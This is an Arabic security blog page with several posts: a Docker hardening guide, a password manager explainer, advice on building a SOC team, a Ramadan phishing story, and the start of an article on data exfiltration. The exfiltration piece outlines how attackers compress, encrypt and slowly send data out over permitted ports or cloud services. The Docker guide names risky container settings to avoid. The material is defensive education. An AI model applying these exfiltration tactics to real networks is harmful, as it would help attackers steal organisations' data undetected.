مدونة سايبربيديا

تأمين Docker وتقويته: دليل عملي لحماية الحاويات

Sat, 10 Oct 2026 17:08:22 GMT

تأمين Docker يعني تقليل الصلاحيات وسطح الهجوم في أربع طبقات: صورة صغيرة موثوقة ومفحوصة، وبناء بمستخدم غير جذري ودون أسرار، وتشغيل بخيارات مثل --cap-drop ALL و--read-only و no-new-privileges، ومضيف محدّث يعمل بالوضع غير الجذري ولا يكشف مقبس Docker لأي حاوية.

تعمل Docker اليوم في قلب معظم بيئات التطوير والإنتاج، لكن سهولة تشغيل حاوية بأمر واحد تخفي إعدادات افتراضية لم تُصمَّم لأقصى درجات الأمان. تقوية الأمان (Hardening) تعني أن تغلق هذه الثغرات طبقة بعد طبقة: من الصورة، إلى البناء، إلى التشغيل، وصولاً إلى المضيف نفسه.

لماذا لا تكون حاويات Docker آمنة افتراضياً؟

لأن الحاوية ليست آلة افتراضية: كل الحاويات تتشارك نواة (Kernel) نظام المضيف نفسه، وأي ثغرة في النواة أو إعداد متساهل قد يفتح طريقاً للهروب من الحاوية (Container Escape) إلى المضيف.

وتزيد بعض الإعدادات الافتراضية من هذا الخطر:

العملية داخل الحاوية تعمل بصلاحيات root ما لم تحدد مستخدماً آخر.
خدمة Docker (Docker Daemon) تعمل بصلاحيات root على المضيف في التثبيت العادي.
عضوية مجموعة docker تكافئ عملياً صلاحيات root على المضيف، لأنها تسمح بتشغيل أي حاوية بأي إعدادات.

وإذا كنت جديداً على مفهوم التقوية عموماً، فابدأ بمقال Cybersecurity Hardening النهج الاستباقي لحماية الأنظمة.

أين تضع الحماية في دورة حياة الحاوية؟

تحتاج الحماية إلى أربع طبقات متتالية، وضعف أي طبقة منها قد يُسقط فائدة الطبقات الأخرى.

أربع طبقات لتأمين Docker: الصورة والبناء والتشغيل والمضيف

كيف تؤمّن صورة الحاوية (Docker Image)؟

ابدأ بصورة أساس (Base Image) صغيرة ومن مصدر موثوق، لأن كل حزمة إضافية في الصورة ثغرة محتملة. الصور الرسمية (Official Images)، والصور المصغّرة مثل alpine وslim وصور Distroless، تقلل سطح الهجوم كثيراً.

ثبّت الصورة بدل الوسم المتغير

الوسم latest قد يشير غداً إلى صورة مختلفة عن اليوم. ثبّت الإصدار، والأفضل أن تثبّت البصمة (Digest) حتى تضمن أنك تبني دائماً من الصورة نفسها:

FROM python:3.12-slim@sha256:<digest>

هذا مهم أيضاً للحماية من هجمات سلاسل التوريد، حيث يُستبدل مكوّن موثوق بآخر خبيث.

افحص الصورة من الثغرات قبل النشر

استخدم أداة فحص مثل Trivy أو Docker Scout، واجعل الفحص خطوة إلزامية في خط النشر (CI/CD) تمنع نشر أي صورة فيها ثغرات حرجة:

trivy image myapp:1.4.0
docker scout cves myapp:1.4.0

كيف تبني صورة آمنة في Dockerfile؟

القاعدة: الصورة النهائية تحتوي ما يحتاجه التطبيق ليعمل فقط، وتعمل بمستخدم عادي. البناء متعدد المراحل (Multi-stage Build) يحقق ذلك: المرحلة الأولى build تحتوي أدوات الترجمة وتُخرج الملف التنفيذي، والمرحلة الثانية تنسخ هذا الملف وحده إلى صورة إنتاج صغيرة لا تحتوي حتى على Shell.

FROM golang:1.22 AS build
WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -o /app ./cmd/server

FROM gcr.io/distroless/static-debian12
COPY --from=build /app /app
USER 10001:10001
ENTRYPOINT ["/app"]

وانتبه لثلاث نقاط أخرى أثناء البناء:

لا تضع كلمات المرور أو المفاتيح في ENV أو في ملفات تنسخها إلى الصورة، فكل طبقة يمكن استخراجها لاحقاً.
أضف ملف .dockerignore يستبعد ملفات مثل .env و.git ومفاتيح SSH.
إذا احتجت سراً أثناء البناء فقط، مرّره عبر BuildKit حتى لا يُحفظ في أي طبقة.

RUN --mount=type=secret,id=npm_token \
    NPM_TOKEN=$(cat /run/secrets/npm_token) npm ci

docker build --secret id=npm_token,src=./npm_token.txt -t myapp .

كيف تشغّل الحاوية بأقل صلاحيات ممكنة؟

مبدأ أقل الصلاحيات (Least Privilege) هو جوهر تأمين التشغيل: امنح الحاوية ما تحتاجه فقط، واسحب الباقي.

الفرق بين أمر التشغيل الافتراضي وأمر التشغيل المُحصَّن

الخيار	ما الذي يحميك منه
`--user 10001`	يمنع تشغيل التطبيق بصلاحيات `root` داخل الحاوية
`--read-only`	يمنع المهاجم من تعديل الملفات أو زرع أدوات داخل الحاوية
`--cap-drop ALL`	يسحب قدرات لينكس (Linux Capabilities) كلها، ثم تضيف ما يلزم فقط بـ `--cap-add`
`--security-opt no-new-privileges`	يمنع العمليات من رفع صلاحياتها عبر ملفات `setuid`
`--memory` و`--cpus` و`--pids-limit`	تحدّ من استنزاف موارد المضيف، مثل هجمات Fork Bomb

وإذا احتاج التطبيق مكاناً مؤقتاً للكتابة مع --read-only، فأضف --tmpfs /tmp.

إعدادات يجب ألا تراها في بيئة الإنتاج

الخيار --privileged: يمنح الحاوية صلاحيات شبه كاملة على المضيف ويعطّل معظم طبقات العزل.
تعطيل ملفات الحماية بخيار --security-opt seccomp=unconfined أو apparmor=unconfined. أبقِ ملف Seccomp الافتراضي وملف AppArmor أو SELinux مفعّلين.
ربط مقبس Docker (/var/run/docker.sock) داخل الحاوية، فمن يصل إليه يتحكم بخدمة Docker، أي بالمضيف كاملاً.
مشاركة نطاقات المضيف مثل --pid=host و--network=host دون حاجة حقيقية.

الإعدادات نفسها في Docker Compose

services:
  web:
    image: myapp:1.4.0
    user: "10001:10001"
    read_only: true
    tmpfs:
      - /tmp
    cap_drop:
      - ALL
    security_opt:
      - no-new-privileges:true
    mem_limit: 512m
    pids_limit: 100

كيف تحمي مضيف Docker وخدمته؟

المضيف هو الهدف الأخير لأي هجوم على الحاويات، وحمايته تبدأ بالتحديث المستمر لـ Docker Engine ولنواة النظام، لأن ثغرات الهروب من الحاوية تُصلَح عادةً هناك.

ثم طبّق هذه الإعدادات:

شغّل Docker في الوضع غير الجذري (Rootless Mode)، فتعمل الخدمة والحاويات بمستخدم عادي، ولا يحصل المهاجم على root حتى لو هرب من الحاوية.
إن لم يناسبك الوضع غير الجذري، فعّل عزل نطاق المستخدمين (User Namespaces) ليصبح root داخل الحاوية مستخدماً عادياً على المضيف.
لا تفتح واجهة Docker على الشبكة عبر TCP دون تشفير TLS ومصادقة بالشهادات، فالمنفذ 2375 غير المشفّر يعني تحكماً كاملاً بالمضيف لأي شخص يصل إليه.
قيّد عضوية مجموعة docker بأضيق نطاق ممكن.

مثال لملف إعدادات الخدمة /etc/docker/daemon.json:

{
  "userns-remap": "default",
  "no-new-privileges": true,
  "icc": false
}

يفعّل هذا الملف عزل نطاق المستخدمين، ويمنع رفع الصلاحيات في كل الحاويات افتراضياً، ويوقف الاتصال المفتوح بين الحاويات على الشبكة الافتراضية.

وللتدقيق الدوري، شغّل أداة docker-bench-security التي تفحص المضيف وفق معيار CIS Docker Benchmark، وتعطيك تقريراً بالإعدادات المخالفة.

كيف تؤمّن شبكة الحاويات؟

افصل الحاويات في شبكات مستقلة حسب وظيفتها، ولا تنشر إلا المنافذ التي يجب أن يصل إليها أحد من الخارج.

أنشئ شبكات خاصة (User-defined Networks) لكل تطبيق بدل الشبكة الافتراضية bridge، واجعل قاعدة البيانات في شبكة داخلية لا يصل إليها إلا التطبيق.
انشر المنافذ الداخلية على العنوان المحلي فقط: -p 127.0.0.1:5432:5432 بدل -p 5432:5432.
انتبه إلى أن المنافذ التي تنشرها Docker تتجاوز قواعد جدار الحماية UFW على لينكس، لأن Docker تضيف قواعد iptables خاصة بها. لا تعتمد على UFW وحده لإغلاق منفذ نشرته بنفسك.

كيف تتعامل مع الأسرار؟

تجنّب تمرير كلمات المرور عبر متغيرات البيئة (Environment Variables)، لأنها تظهر في docker inspect وقد تظهر في سجلات بعض الأدوات. استخدم أسرار Docker Compose أو Swarm، فهي تُركَّب ملفات داخل /run/secrets/ ولا تُحفظ في الصورة:

services:
  db:
    image: postgres:16
    environment:
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password
    secrets:
      - db_password

secrets:
  db_password:
    file: ./db_password.txt

وفي البيئات الكبيرة، يُفضَّل مدير أسرار مخصص مثل HashiCorp Vault أو خدمات إدارة الأسرار لدى مزوّد الحوسبة السحابية.

قائمة تحقق سريعة لتأمين Docker

صورة أساس صغيرة وموثوقة ومثبّتة بالبصمة.
فحص الثغرات في كل بناء، ومنع نشر الصور ذات الثغرات الحرجة.
مستخدم غير جذري عبر USER في كل Dockerfile.
لا أسرار في الصورة أو في متغيرات البيئة.
الخيارات --cap-drop ALL وno-new-privileges و--read-only وحدود الموارد عند التشغيل.
لا --privileged ولا ربط لمقبس docker.sock داخل الحاويات.
Docker والنواة محدّثان، مع الوضع غير الجذري أو عزل نطاق المستخدمين.
شبكات منفصلة ومنافذ منشورة على الحد الأدنى.
تدقيق دوري بأداة docker-bench-security، ومراقبة سلوك الحاويات أثناء التشغيل بأدوات مثل Falco.

مدير كلمات المرور: ما هو ولماذا تحتاج إليه؟

Sat, 10 Oct 2026 16:52:43 GMT

مدير كلمات المرور برنامج يولّد لكل حساب كلمة مرور طويلة وفريدة ويحفظها في خزنة مشفّرة لا يفتحها إلا مفتاح واحد تحفظه أنت. يحميك من إعادة استخدام كلمات المرور ومن مواقع التصيد، ويكفيك أن تتذكر كلمة سر رئيسية واحدة فقط.

معظمنا يملك عشرات الحسابات، ولا يستطيع أحد أن يحفظ لكل حساب كلمة مرور قوية ومختلفة. فيلجأ الناس إلى حلّين سيئين: كلمة مرور بسيطة، أو كلمة واحدة تتكرر في كل مكان. مدير كلمات المرور وُجد ليحل هذه المشكلة تحديداً.

ما هو مدير كلمات المرور (Password Manager)؟

مدير كلمات المرور تطبيق أو إضافة متصفح يحفظ بيانات دخولك في خزنة مشفّرة، ويولّد لك كلمات مرور عشوائية طويلة، ويعبّئها عنك عند تسجيل الدخول. أنت لا تتذكر إلا كلمة مرور رئيسية واحدة تفتح الخزنة.

يمكن أن يكون الحل سحابياً يزامن بياناتك بين أجهزتك، أو محلياً يحفظ الملف على جهازك فقط، مثل Bitwarden وKeePassXC.

لماذا لا تكفي الكلمات التي نحفظها في رؤوسنا؟

لأن الخطر الحقيقي ليس في صعوبة تخمين الكلمة، بل في تكرارها. عندما يتسرب حساب واحد من موقع ضعيف، يجرّب المهاجمون الكلمة نفسها على البريد وحسابات التواصل والبنوك. هذا النوع من الهجمات يُسمّى حشو بيانات الاعتماد (Credential Stuffing).

وتتكرر هذه القصة في حوادث اختراق الحسابات، كما شرحنا في مقال احذر من اختراق حسابك على انستغرام. كلمة مرور فريدة لكل حساب تجعل التسريب محصوراً في حساب واحد.

كيف يعمل مدير كلمات المرور؟

الفكرة أن بياناتك تُشفَّر على جهازك قبل أي مزامنة، وأن المفتاح مشتق من كلمتك الرئيسية. لذلك حتى لو سُرقت نسخة الخزنة من الخادم، فهي بيانات مشفّرة لا معنى لها دون المفتاح.

رحلة كلمة المرور داخل مدير كلمات المرور

كيف يحميك من مواقع التصيد؟

مدير كلمات المرور يربط كل بيان دخول بعنوان الموقع الحقيقي. فإذا فتحت صفحة مزيفة تشبه موقع البنك، لن يعبّئ بياناتك لأن عنوانها مختلف. هذا التنبيه الصامت يكشف التصيد حتى عندما تنخدع عيناك، وهو النوع الذي رأيناه في قصة التصيد الرمضانية.

ما أبرز المخاطر والعيوب؟

نقطة مركزية: الخزنة تجمع كل بياناتك، لذا يجب أن تكون كلمتها الرئيسية قوية جداً.
نسيان الكلمة الرئيسية: في معظم الأدوات لا يمكن لأحد استعادتها لك، وهذا من مزايا التصميم الآمن.
اختراق الجهاز: برنامج خبيث على جهازك قد يلتقط ما تكتبه، فالحماية تبدأ من جهاز نظيف ومحدّث.

كيف تختار مدير كلمات مرور مناسباً؟

ابحث عن هذه النقاط قبل أن تقرر:

تشفير تنتهي مفاتيحه عند المستخدم، دون وصول الشركة إلى بياناتك.
دعم المصادقة الثنائية (Two-Factor Authentication) لحماية الخزنة نفسها.
تطبيقات لأجهزتك كلها: الهاتف والحاسوب والمتصفح.
سمعة جيدة وتحديثات منتظمة، ويُفضَّل مفتوح المصدر أو خضع لمراجعات أمنية مستقلة.

كيف تبدأ باستخدامه خلال يوم واحد؟

ثبّت الأداة على الحاسوب والهاتف وأنشئ كلمة رئيسية طويلة، عبارة من عدة كلمات أفضل من كلمة معقدة قصيرة.
فعّل المصادقة الثنائية على الخزنة.
ابدأ بالحسابات المهمة: البريد الإلكتروني أولاً، ثم البنوك، ثم حسابات التواصل.
غيّر كلمة المرور في كل حساب إلى كلمة عشوائية يولّدها المدير، ولا تحاول حفظها.
احتفظ بنسخة احتياطية من مفتاح الاسترداد في مكان آمن بعيد عن الجهاز.

وللمزيد من العادات اليومية الأساسية راجع نصائح الأمن السيبراني للعودة إلى المدارس.

الخلاصة

مدير كلمات المرور لا يلغي الحاجة إلى الحذر، لكنه يزيل أضعف حلقة في معظم الحسابات: كلمة مرور ضعيفة أو مكررة. اجعل البريد الإلكتروني أول حساب تنقله إليه، فهو بوابة استعادة كل الحسابات الأخرى.

كيف تبني فريق SOC قوي

Sun, 23 Mar 2025 12:02:23 GMT

يقوم فريق SOC القوي على ثلاثة مكونات متكاملة: الأشخاص المؤهلون وهم القلب النابض، والعمليات التي تحدد مهام كل عضو، والتكنولوجيا التي تمكّن المحلل ولا تحل محله. يُنظَّم الفريق في مستويات من Tier 1 لفرز التنبيهات إلى Tier 2 وTier 3 للتحليل المتقدم، وتحميه الإدارة من التشتيت.

الحقيقة التي لا يمكن إخفائها أو التغاضي عنها هي أن الهجمات السيبرانية ستحدث لا محالة ولا يوجد نظام آمن بشكل مطلق والنظام الذي يبدو محمياً اليوم سيكون معرض للخطر غداً. لكن ماذا لو كان لديك فريق مجهز بالكامل لمواجهة هذه التهديدات؟ فريق يعمل بتنسيق مثالي ويدير الأدوات والعمليات والقرارات بسرعة ودقة لصد الهجمات بشكل فعال، ما الذي يجعل هذا الفريق قادراً على الحفاظ على أمان منظمتك رغم كل المخاطر؟ الجواب يكمن في ثلاث مكونات أساسية، إذا تم تنسيقها بشكل صحيح، تصبح خط دفاع فعال يحميك من أي تهديد. فما هي هذه المكونات التي تجعل فريقك لا يُقهر؟ تابع القراءة لاكتشاف استراتيجات بناء فريق عمليات أمن سيبراني SOC فعال ولتتعرف على مكونات هذا الفريق: “الأشخاص”، “العمليات”، و”التكنولوجيا” ودور كل منها في الحماية الفعالة والتعامل مع التهديدات المستمرة.

ما الذي يجعل مركز عمليات الأمن السيبراني SOC ناجحاً بالفعل؟ الإجابة تكمن في ثلاثة مكونات أساسية تُعرف بمفهوم “ثلاثي النجاح” أو People, Process, and Technology — الأشخاص والعمليات والتكنولوجيا. هذه العناصر تمثل “مقعد ثلاثي الأرجل” ولا يمكن أن يعمل مركز SOC أو ينجح بدون أحدها

أولاً: الأشخاص – القلب النابض والركيزة الأساسية

لا يمكن لأي فريق أزرق أن ينجح بدون عنصر بشري مؤهل يمتلك المهارات اللازمة لأداء المهام والتفاعل بفعالية مع العمليات والأدوات، فالعنصر البشري هو قلب وروح الفريق الأزرق ولا يمكن تعويضه بأي تقنية أو إجراء إداري.

عملية اختيار الأشخاص تُعد من أهم خطوات بناء الفريق ويجب أن يكون الأفراد قادرين على العمل تحت الضغط ويتمتعون بذكاء عالي ومهارات تواصل قوية مع عقلية تطور مستمر.

الجودة هنا تتفوق على الكمية — فوجود شخص واحد يتمتع بالدافعية والمعرفة يمكنه أن يُحدث فرقاً كبيراً في الفريق.

المحلل على شكل حرف “T”

المحلل المثالي هو من يُعرف بـ”الشخص على شكل حرف T”، كما ورد في كتاب Ten Strategies of a World-Class Cybersecurity Operations Center

وهو الشخص الذي:

يمتلك معرفة عامة واسعة في مجال تكنولوجيا المعلومات.
لديه القدرة على التخصص والتعمق في مجال تقني معين مثل التحليل الجنائي الرقمي أو هندسة البرمجيات الخبيثة.
يمكنه كتابة الأكواد وقراءة وتحليل البرمجيات وإعداد تقارير تحليلية مفصلة.
يملك طاقة إيجابية تحفّز باقي الفريق، فـالموهبة تجذب المواهب.

منصة Cyberpedia التعليمية

انطلاقاً من أهمية العنصر البشري، نعمل في منصة Cyberpedia التعليمة على تدريب وتأهيل الكفاءات عبر المعسكرات الاحترافية المتخصصة هدفنا هو بناء قاعدة قوية من المحللين والمختصين العرب القادرين على قيادة مراكز العمليات الأمنية SOC باحترافية والمساهمة الفعالة في أمن الفضاء السيبراني العربي.

ثانياً: العمليات – خارطة الطريق لكل عضو في الفريق

العمليات داخل مركز SOC تحدد المهام اليومية لكل عضو بالفريق: ماذا يفعل؟ كيف؟ ومتى؟ تشمل العمليات كل ما يتعلق بالاستجابة للحوادث والتحليل الجنائي و التعامل مع التنبيهات و إدارة التهديدات والتوثيق.

في المؤسسات الكبيرة، يمكن تخصيص أدوار معينة مثل جمع معلومات التهديدات (Threat Intelligence) أو الهندسة العكسية للبرمجيات الخبيثة لمتخصصين، أما في المؤسسات الصغيرة فيكون من الضروري أن يتحلى الأفراد بالمرونة لتبديل “القبعات” بحسب الحاجة.

دور الإدارة

مدراء مركز SOC لا يقتصر دورهم على الإشراف الإداري فقط، بل يعملون كـ “جدار حماية ثنائي الاتجاه”:

يمنعون تشتيت الفريق بالطلبات العشوائية من الإدارة العليا.
ينقلون النجاحات والمشاكل المهمة للقيادة بطريقة مختصرة وفعالة.
يساعدون على تحديد الأهداف وضمان استمرار تركيز الفريق على المهام ذات الأولوية.

ثالثاً: التكنولوجيا – المُمكِّن لا البديل

التكنولوجيا في مركز SOC لا تُعتبر بديلاً عن المحلل البشري، بل أداة تمكّنه وتُحسّن من أدائه. من أنظمة كشف الاختراق (IDS)، إلى أنظمة إدارة التنبيهات، إلى أدوات التحليل الجنائي الرقمي — التكنولوجيا تسمح لنا بالتعامل مع كميات هائلة من البيانات وتحليلها بكفاءة ولكن، إذا كانت الأدوات قادرة على استبدال المحلل، فغالباً ما يعني أن دوره كان روتينياً ويمكن أتمتته، وظيفة المحلل الأساسية هي التحليل، التفكير، واتخاذ القرار — وهي مهام لا تُنفذها الأدوات

تنظيم فريق SOC: الأدوار، المستويات، والمسؤوليات

يتم تنظيم فرق SOC عادةً ضمن هيكل هرمي يتضمن ثلاثة مستويات رئيسية:

المستوى الأول (Tier 1):

مخصص للمبتدئين، يشمل فرز التنبيهات، جمع البيانات الأولية، وتقديم التقارير الأولية وفي هذا المستوى تكون أدوات الوصول محدودة وذلك لضمان السيطرة على العمليات وتقليل الأخطاء.

المستوى الثاني والثالث (Tier 2 و Tier 3):

مع اكتساب المحللين الخبرة والمعرفة يتم ترقيتهم للمستويات الأعلى حيث يُتاح لهم التعامل مع مهام تحليلية أكثر تعقيداً، مثل:

التحليل الجنائي للذاكرة.
الهندسة العكسية للبرمجيات الخبيثة.
التفاعل المباشر مع التهديدات المتقدمة.

هذا التسلسل يضمن تطوير مهارات الأفراد وتحفيزهم للاستمرار في العمل والتقدم داخل الفريق

فهم الأدوات والبيئة التشغيلية

أحد أهم التحديات التي يواجهها المحللون الجدد في مراكز العمليات الأمنية SOC هو فهم العلاقة بين الأدوات المختلفة، لذلك نبدأ دائماً بشرح كل نظام بشكل مبسط ومجرد.

مثال: نظام كشف الاختراق (IDS)

المدخلات: حركة البيانات في الشبكة.
المعالجة: مقارنة مع أنماط وتوقيعات معروفة.
المخرجات: تنبيهات تُعرض على الفريق الأمني.

بمجرد أن نفهم وظيفة كل نظام على حدة، يصبح من السهل إعادة تركيب المشهد الكامل لفهم بيئة SOC بشكل شمولي

في النهاية

بناء مركز عمليات أمن سيبراني SOC ناجح يبدأ من الداخل والنجاح في بناء مركز عمليات أمنية لا يعتمد فقط على التكنولوجيا المتقدمة، بل على التكامل الحقيقي بين الأشخاص المدربين والعمليات الواضحة والأدوات الفعالة.

إذا كنت تتطلع لبناء أو قيادة فريق SOC احترافي، فابدأ من الأساس: ابنِ الفريق، نظّم العمليات، واختر الأدوات بعناية وإذا كنت تريد التعرف على استراتيجيات بناء فرق SOC فعالة أو كنت ترغب الحصول على عمل في مجال الأمن السيبراني في الفريق الأزرق فأنصحك بالاستعداد للإنضمام لمعسكر الفريق الأزرق الذي سيتم الإعلان عنه قريباً ضمن منصة Cyberpedia التعليمية المعسكر الأول من نوعه على مستوى الوطن العربي لفهم الأدوات والخطط وأفضل الممارسات العملية لبناء فريق SOC قادر على التعامل مع الهجمات والتهديدات الأمنية المستمرة.

كيف يتم اختراقك في شهر رمضان؟

Thu, 20 Mar 2025 10:12:48 GMT

التصيد الاحتيالي فخ مدروس يستهدف ثقتك قبل بياناتك عبر بريد أو رسالة أو مكالمة. يوضح المقال عبر قصة نبيه كيف يستدرج المحتالون الضحية بدعم رمضاني مزيف وتعليقات مفبركة ونموذج لجمع البيانات وطلب مشاركة الرابط، ثم يحذر من مخاطر مثل سرقة الهوية والابتزاز والبرمجيات الخبيثة، وينصح بالتحقق من المصدر وعدم النقر على الروابط المشبوهة وتجنب العروض المغرية.

في أعماق محيط شبكة الإنترنت، لا نحتاج إلى شبكة لصيد الضحايا، بل يكفي بريد إلكتروني عاجل أو رسالة نصيّة مغرية أو حتى مكالمة هاتفية مقلقة، خلف تلك الواجهة البريئة يكمن خطر عظيم يستهدف ثقتك قبل بياناتك ومعلوماتك الشخصية، هذا الهجوم الذي يصعب تمييزه في كثير من الأحيان، يتسلل إلى حياتك الرقمية دون أن تشعر، ليس مجرد خدعة إلكترونية بل هو فخ يستهدفك بشكلٍ مدروس.

إنه التصيد الاحتيالي…فن خداع المستخدمين!.

مثال من الواقع

لم يكن نبيه (موظف متواضع يعمل في إحدى المؤسسات التابعة لوزارة الصناعة وأب لخمسة أطفال) يتوقع أن مجرد نقرة واحدة قد تغيّر يومه بالكامل..

بدأت القصة عندما تلقى صديقنا رسالة إلكترونية من أحد معارفه “مرحباً، لقد استفاد صديقك “فلان” صاحب الرقم ………09 من الدعم الذي تقدمه وزارة الأوقاف وذلك بمناسبة شهر رمضان المبارك والذي تبلغ قيمته 330 دولار، يمكنك الحصول على الدعم من خلال زيارة الرابط التالي ………………………..”.

– مبلغ رائع!، أخييراً سأتمكن من سداد بعض الديون وشراء ملابس العيد لزوجتي وأطفالي ودفع فاتورة الكهرباء، أيضاً صاحب المنزل سأتخلص من ملاحقته لي لشهرين كاملين و….و…..

بدأ نبيه يبني آمالاً وتطلعات فارغة والابتسامة تملأ وجهه وقرر زيارة الرابط المرفق بالرسالة…

رحلة نبيه في الحصول على الدعم..

ما رأيكم أن نذهب مع نبيه في هذه الرحلة ونرى ما هي الخطوات التي سيتبعها ليظفر بالدعم المالي؟ ونحن بدورنا سنتبع نفس الخطوات لكي نستفيد نحن أيضاً……

يستعرض صديقنا الصفحة الأولى لموقع وزارة الأوقاف ويقوم بقراءة التعليقات..

– لماذا تغيرت قيمة المبلغ!، لقد قالوا في البداية أن الدعم سيكون بعملة الدولار وليس الليرة!، لا بأس سأتابع..

– يبدو أن الأمر حقيقي فعلاً، فهؤلاء الأشخاص قد استفادوا، أنا متحمس..

وقام بالضغط على الزر التالي “اضغط هنا للتسجيل”!.

في الصفحة التالية كانت تنتظره مصيدة تقوم بابتلاع البيانات التي سيدخلها…

– يريدون رقم هاتفي لكي يتصلوا بي ويخبروني بآلية استلام المبلغ، سأقوم بتزويدهم بجميع المعلومات المطلوبة.

لقد أكمل نبيه تعبئة بياناته ثم قام بالنقر على “التحقق”.

في أثناء رحلتنا ومتابعتنا لما يقوم به نبيه عندما قرأنا العبارة التالية “جاري التحقق من المعلومات…” استنكرنا هذه المرحلة؛ من أية معلومات يتم التحقق بالضبط؟! وماهي الآلية المتبعة في ذلك؟

– أخيراً، وصلتُ إلى الخطوة الأخيرة، إنه مبلغ ممتاز، يجب أن أكمل الشرط الأخير بسرعة.

قام بإرسال الرابط إلى جميع أصدقائه وطلب منهم زيارته ليستفيدوا أيضاً!، ثم نقر على “مساهمة”.

+ توقف يا نبيه كود ماذا وأي سحب يتحدثون عنه غادر هذا الموقع بسرعة لا يوجد كود ولا دعم مالي..

أجبرنا نبيه بمغادرة هذا الموقع فاقتنع بصعوبة لكن المفاجأة كانت عند ظهور هذه الرسالة والتي أعادت الإصرار لنبيه في متابعة هذا الأمر حتى النهاية…

– سأضغط على الزر الأخير وأستعرض الكود.

طبعاً لم يكن هناك كود، بل تم توجيهه إلى موقع آخر خبيث لاستكمال عملية النصب والاحتيال التي وقع في شباكها.

مخاطر التصيد الاحتيالي

بكل تأكيد إن نبيه تعرض لعملية تصيد احتيالي مدروسة وموجهة لسرقة بياناته، لكن احتمالات هذا الهجوم كثيرة وواردة أهمها:

سرقة البيانات الشخصية: يمكن للمحتالين سرقة معلوماتك الشخصية مثل اسمك، عنوانك، تاريخ ميلادك، وأرقام حساباتك البنكية أو بطاقات الائتمان.
تدمير السمعة الشخصية: قد يُستخدم التصيد الاحتيالي لنشر معلومات كاذبة أو تشويه سمعتك على الإنترنت عبر حساباتك الشخصية أو المهنية.
التعرض للابتزاز: في بعض الحالات، قد يحصل المحتالون على صور أو مستندات حساسة بعد أن يظن الضحايا أنهم يتعاملون مع جهة موثوقة.
تحميل البرمجيات الخبيثة (فيروسات، برامج تجسس): في كثير من الحالات، يتضمن التصيد الاحتيالي روابط أو مرفقات تحتوي على برامج ضارة مثل الفيروسات أو برامج التجسس.
فقدان الوصول إلى البيانات المهمة: من خلال التصيد الاحتيالي، قد تتمكن البرمجيات الضارة من الوصول إلى بياناتك الهامة مثل المستندات أو كلمات المرور.
تأثير سلبي على الأعمال التجارية: إذا كانت ضحية التصيد الاحتيالي هي شركة أو منظمة، فقد يتم الوصول إلى حسابات الشركات أو المعلومات الحساسة.

كيف نحمي أنفسنا من أن تكون ضحية للتصيد الاحتيالي؟

تُعلمنا قصة نبيه أن نتريث دائماً ونتعامل بحذر ووعي شديدين في كل أمر من أمور حياتنا سواء كانت الواقعية أو الرقمية بالإضافة إلى إجراءات وقائية إضافية:

التحقق من مصدر الرسائل: تأكد دائماً من مصدر الرسالة أو البريد الإلكتروني قبل التفاعل معه.
توخي الحذر عند النقر على الروابط: لا تقم بالنقر على الروابط المرفقة في رسائل البريد الإلكتروني أو الرسائل غير المتوقعة.
توخي الحذر من العروض المغرية: تجنب الرسائل التي تعرض عروضاً مغرية مثل جوائز أو فرص عمل غير واقعية.
احذر من الاتصالات الهاتفية غير المتوقعة: التصيد الاحتيالي قد لا يقتصر على البريد الإلكتروني فقط، فقد يحاول المهاجمون الاتصال بك عبر الهاتف.
التحقق من صفحات الإنترنت والبريد الإلكتروني: قم بالتحقق من صحة مواقع الويب الرسمية قبل إدخال أي معلومات حساسة.
التدريب والتوعية المستمرة: اجعل من تعلم أساليب التصيد الاحتيالي جزءاً من روتين الأمان الرقمي لديك، فالتوعية والتدريب يلعبان دوراً كبيراً في تجنب هذه الهجمات.

في النهاية

تبقى الحماية من التصيد الاحتيالي مسؤولية فردية وجماعية، قد تبدو الرسائل المغرية والعروض الفائقة حقيقية، لكن وراء كل تلك الواجهات البريئة يمكن أن يختبئ تهديد كبير يهدد بياناتك وحياتك الرقمية، كما رأينا في قصة نبيه، يمكن أن تقع بسهولة ضحية لتلك الحيل إذا لم تكن حذراً، لكن مع الوعي المستمر وتطبيق خطوات الوقاية المناسبة، يمكننا جميعاً تجنب الوقوع في فخ هذه الهجمات الرقمية، حافظ على وعيك الرقمي، تحقق من كل رابط، وكن دائماً في حالة استعداد لمواجهة هذه التهديدات المتجددة.

سرقة البيانات: تكتيك خطير في الهجمات السيبرانية

Tue, 18 Mar 2025 10:49:28 GMT

تسريب البيانات (Data Exfiltration) هو إخراج المهاجم للبيانات الحساسة من الشبكة دون أن تكتشفه أنظمة الحماية: يسيطر على جهاز، ويجمع البيانات ويضغطها ويشفرها، ثم يرسلها ببطء عبر منافذ مسموحة مثل 80 و443 أو عبر خدمات سحابية. تتصدى المؤسسات له بمراقبة حركة البيانات وأنظمة IDS وDLP وتقييد الوصول.

تعتبر سرقة البيانات Data Exfiltration واحدة من أخطر المراحل في عمليات الاختراق، حيث يسعى المهاجم للوصول إلى معلومات حساسة دون إثارة الشبهات وغالباً ما تكون البيانات المستهدفة عبارة عن قواعد بيانات ضخمة تحتوي على معلومات سرية، مثل بيانات العملاء وأسرار الشركات والملفات الحساسة للحكومات والمؤسسات الكبرى، عملية استخراج هذه البيانات دون اكتشافها ليست سهلة، إذ تتطلب استراتيجيات متقدمة وتقنيات معقدة للتحايل على أنظمة الحماية المختلفة.

يحتاج المهاجم إلى تنفيذ هذه العملية بأسلوب مخفي تماماً، حيث لا تقتصر العقبات على أنظمة الحماية مثل جدران الحماية (Firewalls) وأنظمة كشف الاختراق (IDS)، بل تشمل أيضاً سياسات الأمن السيبراني الصارمة التي تطبقها المؤسسات ومن هنا، يصبح الهدف الأساسي هو نقل البيانات عبر الشبكة بطريقة لا يتم اكتشافها، مما يتطلب أساليب مخادعة وتحليل دقيق للبنية التحتية الأمنية للمؤسسة المستهدفة.

في هذا المقال، سنستعرض كيف يتم تنفيذ عمليات سرقة البيانات والأساليب التي يستخدمها المهاجمون لتجاوز أنظمة الحماية، بالإضافة إلى بعض الحلول الدفاعية الممكنة لحماية المؤسسات من هذا النوع من الهجمات.

كيف تتم عملية تسريب البيانات؟

في معظم عمليات الاختراق، يكون الهدف الأساسي هو سرقة قواعد البيانات الضخمة التي تحتوي على المعلومات المهمة ولكن هذا الأمر لا يتم بسهولة وسيواجه المهاجم التحدي التالي:

كيفية إخراج هذه البيانات من الشبكة المستهدفة دون أن يتم اكتشافه؟ هنا تتطلب العملية تخطيط دقيق واستخدام تكتيكات متقدمة.

الخطوات الأساسية لعملية تسريب البيانات

الحصول على السيطرة على جهاز الضحية

